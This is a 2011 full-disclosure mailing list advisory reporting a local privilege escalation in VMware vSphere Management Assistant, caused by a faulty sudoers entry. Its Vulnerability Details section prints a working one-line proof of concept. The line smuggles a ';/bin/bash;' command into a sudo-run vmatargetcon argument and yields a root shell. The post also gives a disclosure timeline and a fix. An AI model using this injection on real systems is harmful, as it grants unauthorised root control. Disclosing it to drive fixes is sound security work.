full-disclosure - Vmware vSphere Management Assistant (vMA)

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Date: Mon, 16 May 2011 09:24:13 +0200
From: Piotr Duszynski <piotr@...zynski.eu>
To: <full-disclosure@...ts.grok.org.uk>
Subject: Vmware vSphere Management Assistant (vMA) - Local
 Privilege Escalation

=======================================================================
Vmware vSphere Management Assistant (vMA) - Local Privilege Escalation
=======================================================================

Affected Software : Vmware vSphere Management Assistant (vMA)
Severity          : Medium
Local/Remote      : Local
Author            : @drk1wi

[Summary]

Due to an error in the /etc/sudoers file it is possible to run 
arbitrary shell commands within the context of root user.

[Vulnerability Details]

[vi-admin@vMA ~]$ sudo /usr/bin/vmatargetcon --shell=/bin/bash 
"'raz';/bin/bash;"
35|ERROR|1|Unable to resolve hostname.
[root@vMA vi-admin]#

[Time-line]

27/04/2010 - Vendor notified
28/04/2010 - Vendor response
???        - Vendor patch release
16/05/2011 - Public disclosure

[Fix Information]

Edit the /etc/sudoers file.

Cheers,
@drk1wi

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